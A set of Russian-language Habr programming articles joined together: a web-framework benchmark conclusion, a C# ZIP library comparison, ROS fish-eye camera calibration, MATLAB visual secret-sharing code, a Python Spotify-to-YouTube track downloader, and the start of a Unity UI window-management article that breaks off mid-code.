}
fn hello(\_: &Request, res: Response) {
let mut r = res.start().unwrap();
r.write\_all(b"Hello World!").unwrap();
r.end().unwrap();
}
fn greet(\_: &Request, res: Response, cap: Captures) {
let mut r = res.start().unwrap();
r.write\_all(format!("Hello, {}", cap.at(1).unwrap()).as\_bytes()).unwrap();
r.end().unwrap();
}
fn not\_found(\_: &Request, mut res: Response) {
\*res.status\_mut() = hyper::NotFound;
let mut r = res.start().unwrap();
r.write\_all(b"Not Found\n").unwrap();
}
fn main() {
let \_ = Server::http("127.0.0.1:8080").unwrap().handle(handler);
}
```
**Scala**
```
package lite
import akka.actor.{ActorSystem, Props}
import akka.io.IO
import spray.can.Http
import akka.pattern.ask
import akka.util.Timeout
import scala.concurrent.duration._
import akka.actor.Actor
import spray.routing._
import spray.http._
import MediaTypes._
import org.json4s.JsonAST._
object Boot extends App {
implicit val system = ActorSystem("on-spray-can")
val service = system.actorOf(Props[LiteActor], "demo-service")
implicit val timeout = Timeout(5.seconds)
IO(Http) ? Http.Bind(service, interface = "localhost", port = 8080)
}
class LiteActor extends Actor with LiteService {
def actorRefFactory = context
def receive = runRoute(route)
}
trait LiteService extends HttpService {
val route =
path("greeting" / Segment) { user =>
get {
respondWithMediaType(`text/html`) {
complete("Hello, " + user)
}
}
} ~
path("") {
get {
respondWithMediaType(`text/html`) {
complete("Hello World!")
}
}
}
}
```
Обобщение
=========
Представим определенные в начале статьи критерии успеха в виде таблицы. Все претенденты имеют средства дебага и профилирования, поэтому соответствующие столбцы в таблице отсутствуют.
| Label | Performance Rate0 | Community size1 | Packages count | IDE Support | Developers5 |
| --- | --- | --- | --- | --- | --- |
| Go | 100,00% | [12 759](http://stackoverflow.com/search?q=go) | 104 3832 | [+](https://github.com/golang/go/wiki/IDEsAndTextEditorPlugins) | [315](http://hh.ru/search/resume?text=go%2C+golang&logic=any&pos=full_text&exp_period=all_time&order_by=relevance&specialization=1.221&area=1&clusters=true) |
| Rust | 89,23% | [3 391](http://stackoverflow.com/search?q=rust) | 3 582 | [+](https://www.rust-lang.org/ides.html)4 | [21](http://hh.ru/search/resume?text=rust&logic=any&pos=full_text&exp_period=all_time&order_by=relevance&specialization=1.221&area=1&clusters=true) |
| Scala | 52,81% | [44 844](http://stackoverflow.com/search?q=scala) | 172 5933 | + | [407](http://hh.ru/search/resume?text=scala&logic=any&pos=full_text&exp_period=all_time&order_by=relevance&specialization=1.221&area=1&clusters=true) |
| Node 5.1.1 | 41,03% | [102 328](http://stackoverflow.com/search?q=node.js) | 215 916 | + | [654](http://hh.ru/search/resume?text=node.js&logic=any&pos=full_text&exp_period=all_time&order_by=relevance&specialization=1.221&area=1&clusters=true) |
| Node 0.12.7 | 32,18% | [102 328](http://stackoverflow.com/search?q=node.js) | 215 916 | + | [654](http://hh.ru/search/resume?text=node.js&logic=any&pos=full_text&exp_period=all_time&order_by=relevance&specialization=1.221&area=1&clusters=true) |
0 Производительность считалась на основании пятиминутных тестов wrk без nginx, по параметру RPS.
1 Размер сообщества оценивался по косвенному признаку — количеству вопросов с соответствующим тегом на [StackOverflow](http://stackoverflow.com/search?q=php).
2 Количество пакетов, индексированных на [godoc.org](https://godoc.org/).
3 Очень приблизительно — поиск по языкам Java, Scala на [github.com](https://github.com/).
4 Под многими любимую Idea плагина до сих пор нет.
5 По данным [hh.ru](http://hh.ru/).
Наглядно о размерах сообщества могут говорить вот такие графики [количества вопросов по тегам за день](http://data.stackexchange.com/stackoverflow/query/409175/posts-with-tag-by-day#graph):
**Go**
**Rust**
**Scala**
**Node.js**
**Для сравнения, PHP:**
Выводы
======
Понимая, что бенчмарки производительности — вещь достаточно зыбкая и неблагодарная, сделать какие-то однозначные выводы только на основании таких тестов сложно. Безусловно, все диктуется типом задачи, которую нужно решать, требованиями к показателям программы и другим нюансам окружения.
В нашем случае по совокупности определенных выше критериев и, так или иначе, субъективных взглядов мы выбрали Go.
Содержание субъективных оценок было намеренно опущено в этой статье, дабы не делать очередной наброс и не провоцировать холивар. Тем более что если бы такие оценки не учитывались, то по критериям, указанным выше, результат остался бы прежним.
 | https://habr.com/ru/post/273341/ | null | ru | null |
# Небольшое тестирование двух библиотек для работы с ZIP архивами (язык C#)
Не раз приходилось работать с zip архивами с помощью C#, в моих случаях — это было скачивание архива с базой, потом извлекал базу на диск, если это был не текстовый файл, то динамически подключал базу данных, иначе просто считывал необходимые мне данные. Для этих целей я использовал [ZipStorer](http://zipstorer.codeplex.com/releases/view/41911), он мне нравиться тем, что очень просто делает возложенную на него работу, мало весит и является классом, который с минимальным количеством телодвижений оказывается в исполняемом файле. Сегодня я решил попробовать что-то другое, для чего выбрал две библиотеки [SharpZipLib](http://www.icsharpcode.net/OpenSource/SharpZipLib/) и [DotNetZip](http://dotnetzip.codeplex.com/), после чего провел небольшое тестирование, чтобы понять какая из них может мне быть полезной в будущем.
Раз уже упомянул о ZipStorer, то покажу пример работы с ним, достаточно добавить класс ZipStorer.cs и написать такой метод, после чего всё будет работать:
> `private void Unzip(string fileInput, string saveFile)
>
> {
>
> // Open an existing zip file for reading
>
> using (ZipStorer zip = ZipStorer.Open(fileInput, FileAccess.Read))
>
> {
>
> // Read the central directory collection
>
> List dir = zip.ReadCentralDir();
>
>
>
> // Look for the desired file
>
> string DBfile = string.Empty;
>
> foreach (ZipStorer.ZipFileEntry entry in dir)
>
> {
>
> if (Path.GetFileName(entry.FilenameInZip).ToLower().IndexOf(".txt") != -1)
>
> {
>
> DBfile = Path.GetFileName(entry.FilenameInZip);
>
> zip.ExtractFile(entry, saveFile + DBfile);
>
>
>
> //Now we can connect to database or read file
>
> }
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь узнаем насколько просто будет проделать подобные вещи для SharpZipLib и DotNetZip. Примеры работы с SharpZipLib можно найти по данной [ссылке](http://wiki.sharpdevelop.net/SharpZipLib-Zip-Samples.ashx) или официальный [источник](http://www.icsharpcode.net/OpenSource/SharpZipLib/DownloadLatestVersion.asp?what=SourceSamples), для DotNetZip примеры работы будут сразу в архиве с [библиотекой](http://dotnetzip.codeplex.com/).
**Лицензии:**
SharpZipLib — GPL
DotNetZip — Ms-PL
В этот раз я решил не переводить информацию с сайтов разработчиков, скажу лишь, что обе библиотеки имеют поддержку Compact Framework и могут использоваться в веб-приложениях. Размер обеих библиотек около 200 килобайт, правда для DotNetZip я беру «Reduced» версию, полная версия занимает около 400 килобайт, что в два раза больше. Теперь перейдём непосредственно к тесту, в отличии от ZipStorer, мы будем архивировать данные, а сравнивать будем степень сжатия и скорость. Архивировать будем с уровнем, установленным по умолчанию, для DotNetZip свойство CompressionLevel установлено в «Default» или «Level6», а метод GetLevel() для SharpZipLib возвращает «6».
Библиотеки имеют классы с одинаковыми именами, поэтому пространства я подключил таким образом:
> `using test1 = Ionic.Zip;
>
> using test2 = ICSharpCode.SharpZipLib.Zip;`
Для архивирования с помощью DotNetZip достаточно следующего кода:
> `string ZipFileToCreate = Application.StartupPath + @"\test1.zip";
>
> string FileToZip = textBoxFile.Text;
>
> using (test1.ZipFile zip = new test1.ZipFile())
>
> {
>
> test1.ZipEntry ze = zip.AddFile(FileToZip);
>
> zip.Save(ZipFileToCreate);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для SharpZipLib нужно немного больше написать:
> `string file = textBoxFile.Text;
>
> using (test2.ZipOutputStream s = new test2.ZipOutputStream(File.Create(Application.StartupPath + @"\test2.zip")))
>
> {
>
> byte[] buffer = new byte[4096];
>
> test2.ZipEntry entry = new test2.ZipEntry(Path.GetFileName(file));
>
> s.PutNextEntry(entry);
>
> using (FileStream fs = File.OpenRead(file))
>
> {
>
> int sourceBytes;
>
> do
>
> {
>
> sourceBytes = fs.Read(buffer, 0, buffer.Length);
>
> s.Write(buffer, 0, sourceBytes);
>
> } while (sourceBytes > 0);
>
> }
>
> s.Finish();
>
> s.Close();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Оба куска кода я взял из официальных примеров и удалил комментарии для экономии места. Результаты работы можно посмотреть в данной таблице:
Файлы для теста были сгенерированы искусственно, поэтому столь красивый результат сжатия, чтобы посмотреть насколько ситуация изменится с реальными данными, я скачаю список ru доменов с сайта регистратора, архив, который я скачал, будет эталоном, его размер равен 28 043 005 байт, извлеку данные из архива и ещё раз проверю две библиотеки:
#### Вывод
Исходя из результатов, скоростные характеристики лучше у DotNetZip, но в тоже время сжатие данных у данной библиотеки хуже, напомню, что степень сжатия я не менял и она у обеих библиотек равна была 6. Лично мне визуально больше понравилась DotNetZip, на ней я и остановлюсь, число скачавших данную библиотеку больше 100 тысяч говорит о том, что выбор мой не одинок. | https://habr.com/ru/post/113236/ | null | ru | null |
# Использование камеры Fish eye на Raspberry Pi 3 с ROS — часть 2
Добрый день уважаемые читатели Хабра! Это вторая часть рассказа об использовании fish eye камеры на Raspberry Pi 3. Первую часть можно найти [здесь](https://habr.com/post/417251/). В этой статье я расскажу о калибровке fish eye камеры и применении камеры в детекции объектов с помощью пакета find\_object\_2d. Кому интересно, прошу под кат.
Калибровка камеры fish eye с использованием camera\_calibration
---------------------------------------------------------------
Здесь я описываю процедуру калибровки на основе официального [мануала](http://wiki.ros.org/camera_calibration/Tutorials/MonocularCalibration) на портале ros.org.
Для выполнения калибровки нам нужен пакет camera-calibration. Мы можем его установить с помощью apt:
```
sudo apt-get install ros-kinetic-camera-calibration
```
Нам нужен будет шаблон checkerboard. Скачаем шаблон с официального [мануала](http://wiki.ros.org/camera_calibration/Tutorials/MonocularCalibration) на ros.org и распечатаем. Для удобства я его наклеил на фанерную доску:
Давайте запустим программу калибровки:
```
rosrun camera_calibration cameracalibrator.py --size 8x6 --square 0.108 image:=/usb_cam/image_raw camera:=/usb_cam
```
Мы получим картинку:
Переместим немного шаблон и подождем пока шаблон не будет выделен в кадре (на шаблоне не появятся цветные линии с точками).
Переместим шаблон еще немного в сторону. Чтобы успешно выполнить калибровку нам нужно выполнить серию перемещений шаблона перед камерой из стороны в сторону так чтобы шаблон попал во все угловые позиции в поле зрения камеры (слева, справа, сверху и снизу). Справа от окна изображения с камеры в окне программы находится панель регистрации с тремя прогрессбарами:
* X фиксирует перемещение шаблона в направлении лево/право (горизонтальное) в поле зрения камеры
* Y фиксирует перемещение шаблона в направлении верх/низ (горизонтальное) в поле зрения камеры
* Size фиксирует приближение / удаление шаблона от камеры и наклон по отношению к камере.
* Skew фиксирует наклон шаблона влево, вправо, вверх и вниз (скос).
Таким образом для успешной калибровки важно чтобы шаблон оказался в разных углах кадра, занимал весь кадр а также был наклонен влево, вправо, вверх и вниз.
Калибровка fish eye камеры на Raspberry Pi может занять довольно много времени, поэтому запаситесь терпением. У меня процедура калибровки заняла 20 минут.
Когда калибровка будет завершена, кнопка Calibrate должна активироваться (подсветится цветом):
Также мы можем увидеть результаты калибровки в терминале:
Если вы удовлетворены результатом, нажмите кнопку COMMIT. Окно программы закроется и вы увидите в терминале сообщение «writing calibration data to ...».
Проверим, что был создан указанный файл:
```
ll ~/.ros/camera_info/head_camera.yaml
-rw-rw-r-- 1 vladimir vladimir 592 Apr 14 14:02 /home/vladimir/.ros/camera_info/head_camera.yaml
```
Калибровка завершена. Теперь полученные данные калибровки можно использовать в алгоритмах визуальной локализации и SLAM в ROS.
Детекция объектов с помощью find\_object\_2d
--------------------------------------------
Установить [пакет](http://wiki.ros.org/find_object_2d) достаточно просто. Устанавливаем его из репозитория apt в Ubuntu 16.04 для ROS Kinetic:
```
sudo apt-get install ros-kinetic-find-object-2d
source /opt/ros/kinetic/setup.bash
```
Запустим ROS master и rqt\_image\_view:
```
roscore
roslaunch usb_cam usb_cam-test.launch
```
С помощью следующей команды запустим узел детектора:
```
rosrun find_object_2d find_object_2d image:=/usb_cam/image_raw
```
Откроется окно программы детекции:
Здесь мы увидим поток с камеры и результат детекции характерных признаков на объектах.
Для начала проведем тренировку детектора на наших объектах. Поместим первый объект перед камерой:
Нажмем правой кнопкой на левой панели Objects в окне и у нас откроется опция Add objects from scene. Выберем эту опцию и откроется окно добавления объекта:
Выбрав наилучшую позицию для объекта, нажмем кнопку Take Picture чтобы сделать снимок объекта:
Нам потребуется выделить объект на снимке. Используем курсор мышки для выделения объекта:
Нажмем на кнопку Next чтобы вырезать объект на снимке и перейдем к следующему шагу. После обрезки изображения мы получим полное число обнаруженных на объекте характерных признаков. Остается только нажать кнопку End чтобы добавить объект в базу обученных объектов детектора. Здесь мы видим последний шаг процедуры добавления объекта:
В итоге мы обучили детектор на одном объекте. Теперь можно попробовать детекцию объекта в сцене:
Сделаем вывод позиции обнаруженного объекта в терминал:
```
rosrun find_object_2d print_objects_detected
```
Вывод будет таким:
```
Object 1 detected, Qt corners at (259.387238,103.530960) (448.684052,79.495495) (282.419050,240.049667) (458.438938,199.656717)
---
Object 1 detected, Qt corners at (255.340408,104.615120) (451.348079,75.302353) (284.672425,230.382223) (452.696585,197.625600)
---
Object 1 detected, Qt corners at (253.440521,102.973320) (447.226440,76.793541) (278.530854,238.918013) (454.377219,197.526599)
---
```
Выведем список топиков:
```
rostopic list
```
В списке появилось два новых топика: /objects и /objectsStamped.
Выведем информацию об обнаруженных объектах:
```
rostopic echo /objects
```
```
layout:
dim: []
data_offset: 0
data: [1.0, 266.0, 177.0, 0.7527905702590942, 0.060980819165706635, 0.00022385441116057336, 0.3012462854385376, 0.8929792046546936, 0.0008534671505913138, 334.9065856933594, 182.55294799804688, 1.0]
---
```
Здесь второе и третье значения (266.0, 177.0) представляют ширину и высоту объекта. Все остальные значения в поле data представляют 3x3 матрицу гомографии (используется для вычисления позиции и ориентации объекта, а также значения масштаба и сдвига).
Как показывают наблюдения, find\_object\_2d плохо справлется с детекцией объектов со слабой тектурой или без текстуры (textureless). Кроме того детектор неэффективен при детекции объекта под большим углом к объекту (если мы наблюдаем объект сбоку), или на большом расстоянии до объекта.
После завершения работы с детектором, find\_object\_2d нам предложит сохранить добавленные объекты на диск.
На этом пока все. Всем удачи и до новых встреч! | https://habr.com/ru/post/429894/ | null | ru | null |
# Реализация схемы разделения секретной визуальной информации в MATLAB
##### Введение
Всем доброго времени суток!
Уверен, что многие из вас уже интересовались методами разделения секретной визуальной информации. Если это так, то вы наверняка знакомы с работой Мони Наора и Ади Шамира, посвященной визуальной криптографии, а также с постом от 19 апреля 2013 года [Схема разделения секретной визуальной информации](http://habrahabr.ru/company/nordavind/blog/177355/) . Я изучил предложенный в этой статье алгоритм и код функции, написанный на MATLAB, и пришел к выводу, что он написан не рационально: его можно записать значительно короче, а также повысить эффективность его работы. Как это сделать, я опишу ниже. Также рассмотрю как организовать.
##### Оптимизация кода
Недостатком приведенной функции является то, что в программе, многократно повторяется однотипный код, который увеличивает размер функции, усложняет ее выполнение, при том, что инструменты доступные в MATLAB, позволяют записать ее короче.
Я предлагаю оптимизировать код функции getShdwImg следующим образом:
```
function [S1,S2] =getShdwImgrac2x2(Img)
% получение теневых изображений S1 и S2 из исходного бинарного изображения (Img)
%
% получаем размер исходного изображения
[m,n] = size(Img);
% запасаемся памятью для каждого теневого изображения :)
S1= zeros(2*m,2*n);
S2= zeros(2*m,2*n);
r1=[1 0; 1 0];
r2=[0 1; 0 1];
r3=[0 0; 1 1];
r4=[1 1; 0 0];
r5=[1 0; 0 1];
r6=[0 1; 1 0];
r=cat(3, r1, r2, r3, r4, r5, r6);
% для каждого пикселя исходного изображения - действуем согласно Рис. 1
% Примечание:
for i=1:m-1
for j=1:n-1
k = randi(6);
if(Img(i,j)==1)
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
else
if (mod(k,2) == 0)
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k-1);
else
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k+1);
end
end
end
end
```
Рассмотрим подробно, в чем состоят различия данного кода, по сравнению с исходным кодом:
* Объявим набор переменных r1-r6, размерностью 2х2, заполненных таким образом, чтобы получались комбинации состояний пикселя, приведенные на рисунке 1. Функция будет работать с 6 возможными комбинациями, в отличии от исходного кода.
```
r1=[1 0; 1 0];
r2=[0 1; 0 1];
r3=[0 0; 1 1];
r4=[1 1; 0 0];
r5=[1 0; 0 1];
r6=[0 1; 1 0];
```
* Введенные переменные объединим в трехмерный массив с помощью команды cat(3, a, b, c…). Первый атрибут команды указывает на размерность массива, в который будут объединены массивы, перечисленные после первого атрибута.
```
r=cat(3, r1, r2, r3, r4, r5, r6);
```
* Подключим оператор, генерирующий целочисленное значение переменной k случайным образом от 1 до 6.
```
k = randi(6);
```
* Внутри условного оператора, в случае, когда выполняется условие, запишем переменные S1, S2. Ячейкам, которых будут присваиваться значения из переменной r. Значение будет зависеть от случайно сгенерированного числа k, так как обращаться будем к k слою r(:, :, k).
```
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
```
* В случае, если условие не выполнилось, тогда подключаю еще один условный оператор if. Его задача состоит в том, чтобы изменять индекс слоя массива r, который будет присваиваться переменным S1, S2. Так если переменная k – четная, то индексы будут присваиваться следующим образом:
```
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k-1);
```
Иначе индекс слоя будет определяться по следующей формуле:
```
S1(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k);
S2(2*i-1:2*i, 2*j-1:2*j)=r(:,:,k+1);
```
* Изменять код Matlab-скрипта, демонстрирующего работу алгоритма разделения секретной визуальной информации, в данном случае нет необходимости.
```
close all
% считываем исходное RGB-изображение и преобразуем его в бинарное
biImg = imread('e_30.jpg');
biImg = rgb2gray(biImg);
level = graythresh(biImg); % пороговая фильтрация по Отсу (Otsu)
biImg = im2bw(biImg,level);
% выводим результат на экран
figure(1)
imshow(biImg);
title(['Original binary image']);
% получаем два теневых изображения
[S1,S2] =getShdwImgrac2x2(biImg);
% выводим их на экран
figure(2)
imshow(S1);
title(['Shadow image S1']);
%
figure(3)
imshow(S2);
title(['Shadow image S2']);
% выводим на экран результат их наложения друг на друга
% различными способами
figure(4)
%imshow(and(S1,S2));
imshow(~xor(S1, S2)); % операция “~”(NOT) используется, чтобы получить черный текст на белом фоне, а не наоборот
title(['Superimposed image']);
```
Исходное изображение
Исходное изображение, преобразованное в бинарное
Первое теневое изображение
Второе теневое изображение
Изображение, полученное путем совмещения двух теневых изображений, с применением логического оператора ~xor
А теперь предлагаю Вашему вниманию код функции для схемы разделения секрета Шамира (3,3) для бинарного изображения.
##### Разработка кода функции для схемы разделения секрета Шамира (3,3) для бинарного изображения
Данная функция предназначена для разделения изображения на три теневых. Исходное изображение можно будет восстановить, только совместив все три теневые изображения. В целом, ее код похож на код, изложенный выше, однако в ней имеется ряд существенных дополнений.
```
function [S1,S2,S3] =getShdwImgrac3x3opt(Img)
% Данная функция предназначена для получения теневых изображений
% S1, S2, S3 из исходного бинарного изображения (Img)
%
% получу размер исходного изображения
[m,n] = size(Img);
% создаю 3 матрицы в которы будут записываться теневые изображения )
S1= zeros(2*m,2*n);
S2= zeros(2*m,2*n);
S3= zeros(2*m,2*n);
% Набор матриц для замены пикселей исходного изображения
c01=[0 0 1 1; 0 1 0 1; 0 1 1 0];
c02=[1 0 0 1; 1 0 1 0; 0 0 1 1];
c03=[1 1 0 0; 0 1 0 1; 1 0 0 1];
c04=[0 1 1 0; 1 0 1 0; 1 1 0 0];
c0=cat(3, c01, c02, c03, c04);
c05=[1 1 0 0; 1 0 1 0; 1 0 0 1];
c06=[0 1 1 0; 0 1 0 1; 1 1 0 0];
c07=[0 0 1 1; 1 0 1 0; 0 1 1 0];
c08=[1 0 0 1; 0 1 0 1; 0 0 1 1];
c1=cat(3, c05, c06, c07, c08);
% для каждого пикселя исходного изображения создается 3 группы теневых
% пикселей
for i=1:m-1
for j=1:n-1
d=randi(4); % номер матрицы из множеств c
k = randperm(3); % выбор номера
if(Img(i,j)==1)
S1(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(1),1:4,d), 2, 2);
S2(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(2),1:4,d), 2, 2);
S3(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(3),1:4,d), 2, 2);
else
S1(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(1,1:4, d), 2, 2);
S2(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(2,1:4, d), 2, 2);
S3(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(3,1:4, d), 2, 2);
end
end
end
```
Рассмотрим подробнее отличия функции getShdwImgrac3x3opt от функции getShdwImgrac2x2.
* В переменные m, n записывается размер исходного изображения, после чего создается три нулевые матрицы с размерами 2\*m, 2\*n.
```
% получу размер исходного изображения
[m,n] = size(Img);
% создаю 3 матрицы в которы будут записываться теневые изображения )
S1= zeros(2*m,2*n);
S2= zeros(2*m,2*n);
S3= zeros(2*m,2*n);
```
* На основе статьи Шамира разработал 4 массива из 4 столбцов и 3 строк для черного и белого пикселей соответственно. Каждые 4 массива объединяются в соответствующий трехмерный массив из 4 слоев.
```
% Набор матриц для замены пикселей исходного изображения
c01=[0 0 1 1; 0 1 0 1; 0 1 1 0];
c02=[1 0 0 1; 1 0 1 0; 0 0 1 1];
c03=[1 1 0 0; 0 1 0 1; 1 0 0 1];
c04=[0 1 1 0; 1 0 1 0; 1 1 0 0];
c0=cat(3, c01, c02, c03, c04);
c05=[1 1 0 0; 1 0 1 0; 1 0 0 1];
c06=[0 1 1 0; 0 1 0 1; 1 1 0 0];
c07=[0 0 1 1; 1 0 1 0; 0 1 1 0];
c08=[1 0 0 1; 0 1 0 1; 0 0 1 1];
c1=cat(3, c05, c06, c07, c08);
```
* Теперь для каждого из пикселей исходного изображения создаются массивы из 4 ячеек по определенному алгоритму. Для перебора ячеек исходного изображения применяются два цикла, один переключает значения ячеек по вертикали, а второй по горизонтали.
Внутри цикла применяется целочисленный генератор псевдослучайных чисел, генерирующий номер слоя трехмерного массива, к которому мы обратимся. В другую переменную записываются всевозможные перестановки чисел от 1 до 3.
```
for i=1:m-1
for j=1:n-1
d=randi(4); % номер матрицы из множеств c
k = randperm(3); % выбор номера
```
* Путем моделирование установил формулу, по которой необходимо обращаться к нужным ячейкам новых матриц. Каждым четырем ячейкам присваиваются соответствующие значения из матриц, составленных во 2 пункте алгоритма. Для того, чтобы правильно присвоить значение необходимо применить команду reshape(c0(k(1),1:4,d), 2, 2).
Данная команда позволяет трансформировать имеющуюся матрицу в матрицу заданного размера. Так первый параметр – обозначает название матрицы, которая будет трансформироваться, второй и третий параметры – размер матрицы, которую надо получить. В параметрах матрицы с0, переменная k(1) служит для выбора строки. При этом номер строки выбирается путем выполнения случайных перестановок, которые выполняются в пункте 3. Переменная d отвечает за выбор слоя трехмерной матрицы. Генерируется случайным образом в пункте 4.
В зависимости от цвета пикселя исходного изображения присваиваются значения либо из матрицы с0, либо из матрицы с1. Выбор необходимой матрицы осуществляется за счет условного оператора else.
После окончания условного оператора необходимо прописать закрывающие команды end.
```
if(Img(i,j)==1)
S1(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(1),1:4,d), 2, 2);
S2(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(2),1:4,d), 2, 2);
S3(2*i-1:2*i, 2*j-1:2*j)=reshape(c0(k(3),1:4,d), 2, 2);
else
S1(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(1,1:4, d), 2, 2);
S2(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(2,1:4, d), 2, 2);
S3(2*i-1:2*i, 2*j-1:2*j)=reshape(c1(3,1:4, d), 2, 2);
end
end
end
```
* В этот раз незначительному изменению также подвергся Matlab-скрипт, вызывающий функцию getShdwImgrac3x3opt.
```
close all
% считывание исходного RGB-изображение и преобразование его в бинарное
biImg = imread('e_30.jpg');
biImg = rgb2gray(biImg);
level = graythresh(biImg); % пороговая фильтрация по Отсу (Otsu)
biImg = im2bw(biImg,level);
% вывод на экран исходного изображения преобразованного
% в бинарное
figure(1)
imshow(biImg);
title(['Исходное изображение']);
% получаем три теневых изображения из функции getShdwImgrac3x3opt
[S1,S2,S3] =getShdwImgrac3x3opt(biImg);
% вывод на экран первого теневого изображения
figure(2)
imshow(S1);
title(['Первое теневое изображение ']);
% вывод на экран второго теневого изображения
figure(3)
imshow(S2);
title(['Второе теневое изображение ']);
% вывод на экран третьего теневого изображения
figure(4)
imshow(S3);
title(['Третье теневое изображение']);
% выводим на экран результат их наложения друг на друга
% различными способами
figure(5)
S12=xor(S1, S2);
S=imshow(~xor(S12, S3));% операция “~”(NOT) используется, чтобы получить исходное изображение,
% а не изображение с обратными цветами
title(['Восстановленное бинарное изображение']);
```
Главное отличие этого скритпа от его предыдущей версии состоит в том, что создается дополнительная переменная S12, в которую записывается матрица наложения изображений S1, S2. После этого в переменную S записывается результат наложения матриц S12, S3, который является окончательным результатом.
* Воспользуемся тем же исходным изображением и разобьем его на три теневые изображения
* 
Теневые изображения
* После выполнения наложения трех теневых изображений было получено исходное изображение:
Спасибо, всем, кто дочитал. Удачи! | https://habr.com/ru/post/226859/ | null | ru | null |
# Загрузка треков со Spotify с помощью питона
Здравствуйте, дорогие пользователи хабра! Сегодня я расскажу как используя python можно скачивать треки со спотифая. Основано это на загрузки видео с ютуба. Да-да мы будем искать песни на ютубе и качать их оттуда. Ссылка на GitHub с репозиторием и интересным бонусом в конце.
Пример работыПодготовка
----------
Так как мы будем писать на языке программирования python его сначала нужно установить. Сделать это можно на [официальном сайте](https://www.python.org/). После установки питона нам нужно установить необходимые библиотеки. Для этого в консоли пропишем такую команду: `pip install spotipy youtubesearchpython youtube_dl`. Также нам нужно установить ffmpeg. Как его установить вы можете найти в интернете.
Далее идем на [эту страницу](https://developer.spotify.com/dashboard/).
Панель spotifyНажимаем на кнопочку **LOG IN** и заходим через свой spotify аккаунт. Зашли? Создаем новое приложение нажав на кнопочку **CREATE AN APP**
Панель SpotifyВводим любое название и описание. Создаем приложение нажав **CREATE**. После нажатия мы попадаем на страницу с информацией о приложении. Отсюда мы копируем **Client ID** и **Client Secret**. Записываем их куда-нибудь.
Пишем код
---------
Для начала нам нужно импортировать библиотеки:
`from __future__ import unicode_literals
import spotipy
from spotipy.oauth2 import SpotifyOAuth, SpotifyClientCredentials
from youtubesearchpython import VideosSearch
import youtube_dl`Добавляем переменные с нужными нам данными:
`url = input("Введи ссылку на трек: ")
client_id = "" # Сюда вводим полученные данные из панели спотифая
secret = "" # Сюда вводим полученные данные из панели спотифая`
Начнем писать код:
1. Подключаемся к спотифаю
`auth_manager = SpotifyClientCredentials(client_id=client_id, client_secret=secret)
spotify = spotipy.Spotify(auth_manager=auth_manager)`2. Функция для получения информации `def music(result):
performers = ""
music = result['name']
for names in result["artists"]:
performers = performers + names["name"] + ", "
performers = performers.rstrip(", ")
video = search(music, performers)
name = f"{performers} - {music}"
print(name)
ydl_opts = {'format': 'bestaudio/best', 'postprocessors': [{'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192',}], 'outtmpl': f'./{name}.webm'}
download(video, ydl_opts)
print("Готово!")`
3. Функция для поиска трека
`def search(music, performers):
videosSearch = VideosSearch(f'{performers} - {music}', limit = 1)
videoresult = videosSearch.result()["result"][0]["link"]
return videoresult`
4. Функция для загрузки трека
`def download(videoresult, ydl_opts):
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
ydl.download([videoresult])`
5. Передаем ссылку и запускаем поиск.
`result = spotify.track(url)
music(result)`
Вот пример работы кода:
Пример работыТрек появится в папке из которой вы запускали код.
Конец
-----
Вот и подошла моя первая статейка к концу. Не забывайте что код и бонус есть в [этом репозитории на гитхабе](https://github.com/DevilFireFox/SpotyDownload). Удачного использования! | https://habr.com/ru/post/582170/ | null | ru | null |
# Организация интерфейса в Unity с UI Canvas
В Unity есть хорошая система для создания пользовательского интерфейса UI Canvas. По ней написано довольно много обучающего материала, но большинство гайдов рассказывает только о том, какие кнопки нажать и какой код написать, чтобы все заработало. В качестве примеров обычно приводится небольшой интерфейс состоящий из пары окон: главное меню, настройки. Однако в играх бывает гораздо больше окон и когда их становится уже хотя бы десяток, возникает необходимость какой-либо их организации. В рамках этой статьи я хочу рассказать как я решаю эту проблему.
Для начала нужно выделить отдельные окна в вашем интерфейсе. Под окном я подразумеваю панель с некоторыми контролами.
**Примеры окон**
У каждого окна должен быть корневой объект, который будет содержать все контролы. Этот объект будет представлять окно как единое целое. Например есть панель на которой находятся элементы управления, логично сделать эти элементы дочерними по отношению к панели. К каждому окну прикрепляется компонент, котрый является наследником абстрактного класса Window.
Window
======
Window написан исходя из того, что у окон могут быть дочерние окна, т.е. те окна которые могут быть открыты из текущего окна при этом в один момент времени может быть открыто одно дочернее окно, а все остальные должны быть закрыты. С этой целью класс содержит свойство CurrentWindow в котором хранится ссылка на открытое на данный момент окно. А также есть событие OnOpen которое сообщает об открытии окна. Метод ChangeCurrentWindow() можно подписать на это событие у дочерних окон, чтобы в любой момент времени было открыто одно дочернее окно, он закрывает открытое дочернее окно и меняет ссылку на текущее открытое окно, ниже я приведу пример реализации. Также в классе есть методы SelfClose() и SelfOpen(), эти методы отвечают за то как будет открываться и закрываться окно. В методе Awake() происходит регистрация окна в UIManager, т.е. добавляется ссылка на окно.
```
public abstract class Window : MonoBehaviour
{
public bool IsOpen { get; private set; }
public Window CurrentWindow { get; protected set; } = null;
public delegate void OpenEventHandler(Window sender);
public event OpenEventHandler OnOpen;
